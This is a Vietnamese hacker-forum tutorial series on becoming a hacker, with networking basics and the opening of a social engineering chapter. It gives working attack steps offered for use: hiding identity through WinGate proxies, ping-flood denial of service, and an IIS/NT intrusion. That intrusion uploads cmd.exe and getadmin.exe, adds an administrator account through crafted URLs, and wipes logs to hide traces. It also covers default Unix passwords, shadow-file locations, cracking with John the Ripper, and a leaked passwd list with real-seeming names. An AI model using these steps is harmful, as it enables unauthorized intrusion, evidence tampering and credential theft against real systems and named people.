_ WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra. Thí dụ: bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy . WinGate dùng với nhiều proxy khác nhau có thể che giấu bạn .
_ Làm sao để Wingate có thể che dấu bạn ? Hãy làm theo tôi : Bạn hãy telnet trên cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate > . Tại dấu nhắc này bạn đánh vào tên server, cùng một khoảng trống và cổng bạn muốn kết nối vào. VD :

CODE
telnet wingate.net
WinGate > victim.com 23


ta telnet đến cổng 23 vì đây là cổng mặc định khi bạn cài Wingate . lúc này IP trên máy mà victim chộp được của ta là IP của máy chủ chứa Wingate proxy đó .
_ Làm sao để tìm Wingate ?
+ Nếu bạn muốn tìm IP WinGates tĩnh (IP không đổi) thì đến yahoo hay một trang tìm kiếm cable modem. Tìm kiếm cable modems vì nhiều người dùng cable modems có WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho những máy khác trong cùng một nhà . Hoặc bạn có thể dùng Port hay Domain scanners và scan Port 1080 .
+ Để tìm IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates bạn có thể dùng Domscan hoặc các chương trình quét khác . Nếu dùng Domscan bạn hãy nhập khoảng IP bất kỳ vào box đầu tiên và số 23 vào box thứ 2 . Khi đã có kết quả , bạn hãy thử lần lượt telnet đến các địa chỉ IP tìm đựơc ( đã hướng dẫn ở trên ), nếu nó xuất hiện dấu “Wingate > ” thì bạn đã tìm đúng máy đang sử dụng Wingate rồI đó .
+ Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner về mà sài , nó có rất nhièu trên mạng .

17 . ) Đôi điều về Traceroute :

_ Traceroute là một chương trình cho phép bạn xác định được đường đi của các gói packets từ máy bạn đến hệ thống đích trên mạng Internet.
_ bạn hãy xem VD sau :

CODE
C:\windows > tracert 203.94.12.54

Tracing route to 203.94.12.54 over a maximum of 30 hops

1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms


Tôi cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa chỉ ip là 203.94.12.54. Tôi cần phải tracert đến nó! Như bạn thấy ở trên, các gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops(mắc xích) trên mạng. Đây là đưòng đi của các gói packets .
_ Bạn hãy xem VD tiếp theo :

CODE
host2 # traceroute xyz.com

traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms


+ Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng này còn cho chúng ta biết thêm giá trị TTL<=30 và kích thước của datagram là 40 bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data).
+ Dòng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá trị của TTL khi gởi đến router này là 1. Router này sẽ gởi trở lại cho chương trình traceroute một ICMP message error ``Time Exceeded``. Traceroute sẽ gởi tiếp một datagram đến hệ thống đích.
+ Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ nhất đã giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó sẽ gởi trở lại cho traceroute một ICMP error message ``Port Unreachable``. Khi nhận được ICMP message này, traceroute sẽ biết được đã đến được hệ thống đích xyz.com và kết thúc nhiệm vụ tại đây.
+ Trong trường hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu sao ``*``(không biết) và tiếp tục gởi datagram khác đến host đích!
_Chú ý:
Trong windows: tracert hostname
Trong unix: traceroute hostname

( Tài liệu của viethacker.net )

18 . ) Ping và cách sử dụng :

_ Ping là 1 khái niệm rât đơn giản tuy nhiên rất hữu ích cho việc chẩn đoán mạng. Tiểu sử của từ ``ping`` như sau: Ping là tiếng động vang ra khi 1 tàu ngầm muốn biết có 1 vật thể khác ở gần mình hay ko, nếu có 1 vật thể nào đó gần tàu ngầm tiếng sóng âm này sẽ va vào vật thể đó và tiếng vang lại sẽ là ``pong`` vậy thì tàu ngầm đó sẽ biết là có gì gần mình.
_Trên Internet, khái niệm Ping cũng rất giống với tiểu sử của nó như đã đề cập ở trên. Lệnh Ping gửi một gói ICMP (Internet Control Message Protocol) đến host, nếu host đó ``pong`` lại có nghĩa là host đó tồn tại (hoặc là có thể với tới đựoc). Ping cũng có thể giúp chúng ta biêt được luợng thời gian một gói tin (data packet) đi từ máy tính của mình đến 1 host nào đó.
_Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ ``ping địa_chỉ_ip``, mặc định sẽ ping 4 lần, nhưng bạn cũng có thể gõ

CODE
``ping ip.address -t``


Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau:

CODE
``ping -l (size) địa_chỉ_ip ``


Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu gói tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này xác định được tốc độ của kết nối, và thời gian cần để một gói tin đi và quay trở lại và chia bốn (gọi là ``trip time``). Ping cũng có thể được dùng để làm chậm đi hoặc đổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt ping (Bộ đệm của kết nối bị tràn – có qua nhiều kết nối, nên Windows quyết định cho nó đi nghỉ một chút). Một cuộc tấn công “ping flood” sẽ chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông lớn hơn đối phương ( trừ khi đối phương là một máy chạy Windows 98 và bạn có một modem trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một phút lụt ping). Lụt Ping không hiệu quả lắm đổi với những đối phương mạnh hơn một chút. trừ khi bạn có nhiều đường và bạn kiểm soát một số lượng tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn đối phương.
Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt thực sự. Thực tế là phải ping -f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable Operating System Interface dựa trên uniX), nếu không nó sẽ không phải là một bản Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó là Unix hay Linux, nó sẽ có tham số -f.

( Tài liệu của HVA và viethacker.net )

19 . ) Kỹ thuật xâm nhập Window NT từ mạng Internet :

_ Đây là bài học hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về hack , bây giờ tôi sẽ bày lại cho các bạn . bạn sẽ cần phảI có một số thờI gian để thực hiện được nó vì nó tuy dễ nhưng khó . Ta sẽ bắt đầu :
_ Đầu tiên bạn cần tìm một server chạy IIS :
_ Tiếp đến bạn vào DOS và đánh ` FTP `. VD :

c:\Ftp www.dodgyinc.com

( trang naỳ khi tôi thực hành thì vẫn còn làm được , bây giờ không biết họ đã fix chưa , nếu bạn nào có trang nào khác thì hãy post lên cho mọI ngườI cùng làm nhé )
Nếu connect thành công , bạn sẽ thấy một số dòng tương tự như thế này :

CODE
Connected to www.dodgyinc.com.
220 Vdodgy Microsoft FTP Service (Version 3.0).
User (www.dodgyinc.com none)):


Cái mà ta thấy ở trên có chứa những thông tin rất quan trọng , nó cho ta biết tên Netbios của máy tính là “ Vdodgy ” . Từ điều này bạn có thể suy diễn ra tên mà được sử dụng cho NT để cho phép ta có thể khai thác , mặc định mà dịch vụ FTP gán cho nó nếu nó chưa đổi tên sẽ là “IUSR_VDODGY” . Hãy nhớ lấy vì nó sẽ có ích cho ta . Nhập ``anonymous” trong user nó sẽ xuất hiện dòng sau :

CODE
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:


Bây giờ passwd sẽ là bất cứ gì mà ta chưa biết , tuy nhiên , bạn hãy thử đánh vào passwd là “anonymous” . Nếu nó sai , bạn hãy log in lạI thiết bị FTP , bạn hãy nhớ là khi ta quay lạI lần này thì không sử dụng cách mạo danh nữa ( anonymous ) mà sử dụng “`Guest” , thử lại passwd với “guest” xem thế nào .
Bây giờ bạn hãy đánh lệnh trong DOS :

CODE
Cd /c


Và sẽ nhìn thấy kết quả nếu như bạn đã xâm nhập thành công , bây giờ bạn hãy nhanh chóng tìm thư mục `cgi-bin` . Nếu như bạn may mắn , bạn sẽ tìm được dễ dàng vì thông thường hệ thống quản lý đã đặt `cgi-bin` vào nơi mà ta vừa xâm nhập để cho các ngườI quản lý họ dễ dàng điều khiển mạng hơn . thư mục cgi-bin có thể chứa các chương trình mà bạn có thể lợi dụng nó để chạy từ trình duyệt Web của bạn . Ta hãy bắt đầu “quậy” nào greenbiggrin.gif greenbiggrin.gif .
_ Đầu tiên , bạn hãy chuyển tớ thư mục cgi-bin và sử dụng lệnh “Binary” ( có thể các bạn không cần dùng lệnh này ) , sau đó bạn dánh tiếp lệnh “put cmd.exe” . Tiếp theo là bạn cần có file hack để cài vào thư mục này , hãy tìm trên mạng để lấy 2 file quan trọng nhất đó là `getadmin.exe` và `gasys.dll` . Download chúng xuống , một khi bạn đã có nó hãy cài vào trong thư mục cgi-bin . Ok , coi như mọI việc đã xong , bạn hãy đóng cửa sổ DOS .
Bây giờ bạn hãy đánh địa chỉ sau lên trình duyệt của bạn :

http://www.dodgyinc.com/cgi-bin/getadmin.exe?IUSR_VDODGY

Sau vài giây bạn sẽ có được câu trả lời như ở dướI đây :

CODE
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
Congratulations , now account IUSR_VDODGY have administrator rights!


Thế là bạn đã mạo danh admin để xâm nhập hệ thống , việc cần thiết bây giờ là bạn hãy tự tạo cho mình một account , hãy đánh dòng sau trên IE :

http://www.dodgyinc.com/cgi- bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%2 0hacker%20toilahacker%20/add

dòng lệnh trên sẽ tạo cho bạn một account login với user : anhdenday và passwd : toilahackerBây giờ bạn hãy là cho user này có account của admin , bạn chỉ cần đánh lên IE lệnh :

http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?anhdenday

Vậy là xong rùi đó , bạn hãy disconnect và đến start menu - > find rồi search computer `www.dodgyinc.com`. Khi tìm thấy , bạn vào explore , explore NT sẽ mở ra bạn hay nhập user và passwd để mở nó ( của tôi là user : anhdenday và passwd : toilahacker ) .

Có một vấn đề là khi bạn xâm nhập hệ thống này thì sẽ bị ghi lại , do đó để xoá dấu vết bạn hãy vào `Winnt\system32\logfiles` mở file log đó rồI xoá những thông tin liên quan đến bạn , rồI save chúng . Nếu bạn muốn lấy một thông báo gì về việc chia sẽ sự xâm nhập thì bạn hãy thay đổi ngày tháng trên máy tính vớI URL sau :

http://www.dodgyinc.com/cgi-bin/cm d.exe?/c%20date%2030/04/03

xong rồI bạn hãy xoá file `getadmin.exe`, và `gasys.dll` từ `cgi-bin` . Mục đích khi ta xâm nhập hệ thống này là “chôm” pass của admin để lần sau xâm nhập một cách hợp lệ , do đó bạn hãy tìm file SAM ( chứa pass của admin và member ) trong hệ thống rồI dùng chương trình “l0pht crack” để crack pass ( Hướng dẫn về cách sử dụng “l0pht crack v 3.02” tôi đã post lên rồi ,các bạn hãy tự nghiên cứu nhé ) . Đây là link : http://vnhacker.org/forum/?act=ST& f=6&t=11566&s=
Khi crack xong các bạn đã có user và pass của admin rồI , bây giờ hãy xoá account của user ( của tôi là “anhdenday” ) đi cho an toàn . Bạn đã có thể làm gì trong hệ thống là tuỳ thích , nhưng các bạn đừng xoá hết tài liệu của họ nhé , tội cho họ lắm .
Bạn cảm thấy thế nào , rắc rối lắm phải không . Lúc tôi thử hack cách này , tôi đã mày mò mất cả 4 giờ , nếu như bạn đã quen thì lần thứ 2 bạn sẽ mất ít thờI gian hơn .

Ở phần 3 tôi sẽ đề cập đến HĐH Linux , đến cách ngắt mật khẩu bảo vệ của một Web site , và làm thế nào để hack một trang web đơn giản nhất .v.v…

Hết phần 2

Anhdenday
HVAOnline.net


 

Become a hacker 1


Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 1



(Toàn bộ bài viết này lấy bên www.hvanews.net)

Nhiều bạn Newbie có hỏi tôi “ Hack là như thế nào ? Làm sao để hack ?” Nhưng các bạn đã quên mất một điều là các bạn cần phảI có kiến thức một cách tổng quát , hiểu các thuật ngữ mà những người rành về mạng hay sử dụng . Riêng tôi thì chưa thật giỏi bao nhiêu nhưng qua nghiên cứu tôi cũng đã tổng hợp được một số kiến thức cơ bản , muốn chia sẻ cho tất cả các bạn , nhằm cùng các bạn học hỏi . Tôi sẽ không chịu trách nhiệm nếu các bạn dùng nó để quậy phá ngườI khác . Các bạn có thể copy hoặc post trong các trang Web khác nhưng hãy điền tiên tác giả ở dướI bài , tôn trọng bài viết này cũng chính là tôn trọng tôi và công sức của tôi , đồng thờI cũng tôn trọng chính bản thân các bạn . Trong này tôi cũng có chèn thêm một số cách hack , ***** và ví dụ căn bản , các bạn có thể ứng dụng thử và nghiên cứu đọc nó để hiểu thêm , rồ khi bắt gặp một từ mà các bạn không hiểu thì hãy đọc bài này để biết , trong này tôi có sử dụng một số ý của bài viết mà tôi thấy rất hay từ trang Web của HVA , và các trang Web khác mà tôi đã từng ghé thăm . Xin cảm ơn những tác giả đã viết những bài ấy . Bây giờ là vấn đề chính .

================================================== = =

1 . ) Ta cần những gì để bắt đầu ?

Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất để thực tập là các bạn hãy dùng HĐH Window 9X , rồI đến các cái khác mạnh hơn đó là Linux hoặc Unix , dướI đây là những cái bạn cần có :
+ Một cái OS ( có thể là DOS , Window 9X , Linux , Unit ….)
+ Một cái trang Web tốt ( HVA chẳng hạn hi`hi` greenbiggrin.gif greenbiggrin.gif )
+ Một bộ trình duyệt mạng tốt ( là Nescape , IE , nhưng tốt nhất có lẽ là Gozzila )
+ Một công cụ chat tốt ( mIRC ,Yahoo Mass …..)
+ Telnet ( hoặc những cái tương tự như nmap …)
+ Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phảI có một chút kiến thức về lập trình ( C , C++ , Visual Basic , Pert …..)

2 . ) Thế nào là một địa chỉ IP ?

_ Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu bởi 1 byte - > !P có kicks thước là 4byte, được chia thành các lớp địa chỉ. Có 3 lớp là A, B, và C. Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với 132.25,chúng ta có tất cả các địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A llà sở hữu của các công ty hay của tổ chức. Một ISP thường sở hữu một vài địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là 132.25.23.24 thì bạn có thể xác định ISP của bạn là ai. ( có IP là 132.25.x.)
_ IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗI người là duy nhất và nó sẽ đạI diện cho chính ngườI đó, địa chỉ IP được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lí do tại sao bạn lại bị IRC cấm, và là cách người ta tìm ra IP của bạn.
Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các cách sau :
+ bạn lướt qua một trang web, IP của bạn bị ghi lại
+ trên IRC, bất kì ai cũng có thể có IP của bạn
+ trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn ``do not show ip`` người ta vẫn lấy được nó
+ nếu bạn kết nối với một ai đó, họ có thế gõ ``systat –n ``, và biết được ai đang kết nối đên họ
+ nếu ai đó gửi cho bạn một email với một đoạn mã java tóm IP, họ cũng có thể tóm được IP của bạn
( Tài liệu của HVA )

3 . ) Làm thế nào để biết được địa chỉ IP của mình ?

Run đánh lệnh “winipcfg” .è_ Trong Window : vào Start
_ Trong mIRC : kết nốI đến máy chủ sau đó đánh lệnh “/dns ”
_ Thông qua một số trang Web có hiển thị IP .

4 . ) IP Spoofing là gì ?

_ Một số IP có mục đích để xác định một thiết bị duy nhất trên thế giới. Vì vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao đổi dữ liệu qua lại mà không cần kiểm tra máy chủ.
Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy có thể bạn sẽ không có được sự phản hồi những thông tin mà mình mong muốn. Có lẽ điều duy nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và cần dấu thông tin cá nhân!
( Tài liệu của HVA )

5 . ) Trojan / worm / virus / logicbomb là cái gì ?

_ Trojan : Nói cho dễ hiểu thì đây là chương trình điệp viên được cài vào máy của ngườI khác để ăn cắp nhũng tài liệu trên máy đó gửI về cho chủ nhân của nó , Cái mà nó ăn cắp có thể là mật khẩu , accourt , hay cookie ………. tuỳ theo ý muốn của ngườI cài nó .
_ virus : Nói cho dễ hiểu thì đây là chương trình vớI những mã đặc biệt được cài ( hoặc lây lan từ máy khác ) lên máy của nạn nhân và thực hiện những yêu cầu của mã đó , đa số virut được sử dụng để phá hoạI dữ liệu hoặc phá hoạI máy tính .
_ worm : Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây lan khắp bên trong mạng .Cũng giống như Virut , nó cũng có thể phá hoạI dữ liệu , hoặc nó có thể phá hoạI bên trong mạng , nhiều khi còn làm down cả mang đó .
_ logicbomb : Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa chỉ , làm ngập lụt hệ thống , tắt nghẽn đường truyền ( trên server ) hoặc dùng làm công cụ để “khủng bố” đốI phương ( bom Mail ) .

6 . ) PGP là gì ?

_ PGP là viết tắt của từ “Pretty Good Privacy” , đây là công cụ sử dụng sự mã hoá chìa khoá công cộng để bảo vệ những hồ sơ Email và dữ liệu , là dạng mã hoá an toàn cao sử dụng phần mềm cho MS_DOS , Unix , VAX/VMS và cho những dạng khác .

7 . ) Proxy là gì ?

_Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. Những proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dung sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp đến những yêu cầu từ clientđến server, cũng như đáp ứng những yêu cầu của server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client .
_ Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet. Điều này thường không tiện lợi, và một số người trể nên thất vọng khi họ có cảm giác thông qua firewall, với proxy nó giải quyết được vấn đề này. Tất nhiên nó còn có những giao thức mới nhưng nói chung nó cũng khá tiện lợi cho user. Bởi vì proxy cho phép user truy xuất những dịch vụ trên internet từ hệ thống cá nhân của họ, vì vậy nó không cho phép packet đi trực tiếp giữa hệ thống sử dụng và internet. đường đi là giáng tiếp thông qua dual homed host hoặc thông qua sự kết hợp giữa bastion host và screening rounter.

( Bài viết của Z3RON3 – tài liệu của HVA )

8 . ) Unix là gì ?

_ Unix là một hệ điều hành ( giống Window ) .Nó hiện là hệ điều hành mạnh nhất , và thân thiết với các Hacker nhất . Nếu bạn đã trở thành một hacker thật sự thì HĐH này không thể thiếu đối vớI bạn . Nó được sử dụng hỗ trợ cho lập trình ngôn ngữ C .

9 . ) Telnet là gì ?

_ Telnet là một chương trình cho phép ta kết nốI đến máy khác thông qua cổng ( port ) . MọI máy tính hoặc máy chủ ( server ) đều có cổng , sau đây là một số cổng thông dụng :
+ Port 21: FTP
+ Port 23: Telnet
+ Port 25: SMTP (Mail)
+ Port 37: Time
+ Port 43: Whois
_ Ví dụ : bạn có thể gọI Telnet để kết nốI đến mail.virgin.net trên port 25 .

10 . ) Làm thế nào để biết mình đã Telnet đến hệ thống Unix ?
_ Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn khi bạn kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ xuất hiện một dấu nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….)
Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một account hợp lệ . Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi bạn nhập account vào , bạn sẽ thấy có một mật khẩu , bạn hãy thử nhập Default Password thử theo bảng sau :

Account-------------------------Default Password


Root----------------------------------------------- Root
Sys------------------------------------------------ Sys / System / Bin
Bin------------------------------------------------ -Sys / Bin
Mountfsy------------------------------------------M ountfsys
Nuuc----------------------------------------------- Anon
Anon----------------------------------------------- Anon
User----------------------------------------------- -User
Games---------------------------------------------G ames
Install-------------------------------------------- --Install
Demo----------------------------------------------- Demo
Guest---------------------------------------------- Guest


11 . ) shell account là cái gì ?

_ Một shell account cho phép bạn sử dụng máy tính ở nhà bạn như thiết bị đầu cuốI ( terminal ) mà vớI nó bạn có thể đánh lệnh đến một máy tính đang chạy Unix , “Shell” là chương trình có nhiệm vụ dịch những ký tự của bạn gửi đến rồI đưa vào thực hiện lệnh của chương trình Unix . VớI một shell account chính xác bạn có thể sử dụng được một trạm làm việc mạnh hơn nhiều so vớI cái mà bạn có thể tưởng tượng đến được .
Bạn có thể lấy được “shell account” miễn phí tạI trang Web www.freeshell.com tuy nhiên bạn sẽ không sử dụng được “telnet” cho đến khi bạn trả tiền cho nó .

12 . ) Làm cách nào để bạn có thể Crack Unix account passwords ?

_ Rất đơn giản , tuy nhiên cách mà tôi nói vớI các bạn ở đây “lạc hậu” rồI , các bạn có thể crack được chúng nếu các bạn may mắn , còn không thì các bạn đọc để tham khảo .
_ Đầu tiên bạn hãy đăng nhập vào hệ thống có sử dụng Unix như một khách hàng hoặc một ngườI khách ghé thăm , nếu may mắn bạn sẽ lấy được mật khẩu được cất dấu trong những hệ thống chuẩn như :

/etc/passwd

mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau , nó giống như hàng này :

userid:password:userid#:groupid#:GECOS field:home dir:shell

trong đó :
+ userid = the user id name : tên đăng nhập : có thể là một tên hoặc một số .
+ password : mật mã . Dùng để làm gì hẳn các bạn cũng biết rồI .
+ userid# : là một số duy nhất đựơc thông báo cho ngườI đăng ký khi họ đăng ký mớI ở lần đầu tiên .
+ groupid# : tương tự như userid# , nhưng nó được dùng cho những ngườI đang ở trong nhóm nào đó ( như nhóm Hunter Buq của HVA chẳng hạn )
+ GECOS FIELD : đây là nơi chứa thông tin cho ngườI sử dụng , trong đó có họ tên đầy đủ , số điện thoại , địa chỉ v.v…. . Đây cũng là nguồn tốt để ta dễ dàng ***** một mật khẩu .
+ home dir : là thư mục ghi lạI hoạt động của người khách khi họ ghé thăm ( giống như mục History trong IE vậy )
+ Shell : đây là tên của shell mà nó tự động bắt đầu khi ta login .
_ Hãy lấy file password , lấy file text đã mã hoá về , sau đó bạn dùng chương trình ``CrackerJack`` hoặc ``John the Ripper`` để ***** .
_ Các bạn thấy cũng khá dễ phảI không ? Sai bét , không dễ dàng và may mắn để bạn có thể ***** được vì hầu hết bây giờ họ cất rất kỹ , hãy đọc tiếp bạn sẽ thấy khó khăn chỗ nào .

13 . ) shadowed password là cái gì ?

_ Một shadowed password được biết đến là trong file Unix passwd , khi bạn nhập một mật khẩu , thì ngườI khác chỉ thấy được trình đơn của nó ( như ký hiệu “ X ” hoặc “ * ” ) . Cái này thông báo cho bạn biết là file passwd đã được cất giữ ở nơi khác , nơi mà một ngườI sử dụng bình thường không thể đến được . Không lẽ ta đành bó tay , dĩ nhiên là đốI vớI một hacker thì không rùi , ta không đến được trực tiếp file shadowed password thì ta hãy tìm file sao lưu của nó , đó là file Unshadowed .
Những file này trên hệ thống của Unix không cố định , bạn hãy thử vớI lần lượt những đường dẫn sau :

CODE
AIX 3 /etc/security/passwd !
or /tcb/auth/files/ /
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/ /
SunOS4.1+c2 /etc/security/passwd.adjunct =##username
SunOS 5.0 /etc/shadow
maps/tables/whatever >
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb =20


Trước dấu “ / ”đầu tiên của một hàng là tên của hệ thống tương ứng , hãy căn cứ vào hệ thông thật sự bạn muốn lấy rồI lần theo đường dẫn phía sau dấu “/”đầu tiên .
Và cuốI cùng là những account passwd mà tôi từng crack được , có thể bây giờ nó đã hết hiệu lực rồI :

CODE
arif:x:1569:1000:Nguyen Anh Chau:/udd/arif:/bin/ksh
arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh
aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh
armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh
arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh
arne:x:1583:1000:Pham Quoc Tuan:/udd/arne:/bin/ksh
aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh
arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash
arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh


Để bảo đảm sự bí mật nên pass của họ tôi xoá đi và để vào đó là ký hiệu “ x ” , các bạn hãy tìm hiểu thông tin có được từ chúng xem .

Hết phần 1

Tác giả: Anhdenday (HVA)

 

CHƯƠNG 4: SOCIAL ENGINEERING





Social engineering là phương pháp phi kỹ thuật đột nhập vào hệ thống hoặc mạng công ty. Đó là quá trình đánh lừa người dùng của hệ thống, hoặc thuyết phục họ cung cấp thông tin có thể giúp chúng ta đánh bại bộ phận an ninh. Social engineering là rất quan trọng để tìm hiểu, bởi vì hacker có thể lợi dụng tấn công vào yếu tố con người và phá vỡ hệ thống kỹ thuật an ninh hiện tại. Phương pháp này có thể sử dụng để thu thập thông tin trước hoặc trong cuộc tấn công.


1. Social engineering là gì?


Social engineering  sử dụng sự ảnh hưởng và sự thuyết phục để đánh lừa người dùng nhằm khai thác các thông tin có lợi cho cuộc tấn công hoặc thuyết phục nạn nhân thực hiện một hành động nào đó. Social engineer (người thực hiện công việc tấn công bằng phương pháp social engineering) thường sử dụng điện thoại hoặc internet để dụ dỗ người dùng tiết lộ thông tin nhạy cảm hoặc để có được họ có thể làm một chuyện gì đó để chống lại các chính sách an ninh của tổ chức. Bằng phương pháp này, Social engineer tiến hành khai thác các thói quen tự nhiên của người dùng, hơn là tìm các lỗ hổng bảo mật của hệ thống. Điều này có nghĩa là người dùng với kiến thức bảo mật kém cõi sẽ là cơ hội cho kỹ thuật tấn công này hành động.

Sau đây là một ví dụ về kỹ thuật tấn công social engineering  được Kapil Raina kể lại, hiện ông này đang là một chuyên gia an ninh tại Verisign, câu chuyện xẩy ra khi ông đang làm việc tại một công ty khác trước đó: “Một buổi sàng vài năm trước, một nhóm người lạ bước vào công ty với tư cách là nhân viên của một công ty vận chuyển mà công ty này đang có hợp động làm việc chung. Và họ bước ra với quyền truy cập vào toàn bộ hệ thống mạng công ty. Họ đã làm điều đó bằng cách nào?. Bằng cách lấy một lượng nhỏ thông tin truy cập từ một số nhân viên khác nhau trong công ty. Đầu tiên họ đã tiến hành một nghiên cứu tổng thể về công ty từ hai ngày trước. Tiếp theo họ giã vờ làm mất chìa khóa để vào cửa trước, và một nhân viên công ty đã giúp họ tìm lại được. Sau đó, họ làm mất thẻ an ninh để vào cổng công ty, và chỉ bằng một nụ cười thân thiện, nhân viên bảo vệ đã mở cửa cho họ vào. Trước đó họ đã biết trường phòng tài chính vừa có cuộc công ta xa, và những thông tin của ông này có thể giúp họ tấn công hệ thống. Do đó họ đã đột nhập văn phòng của giám đốc tài chính này. Họ lục tung các thùng rác của công ty để tìm kiếm các tài liệu hữu ích. Thông qua lao công của công ty, họ có thêm một số điểm chứa tài liệu quan trọng cho họ mà là rác của người khác. 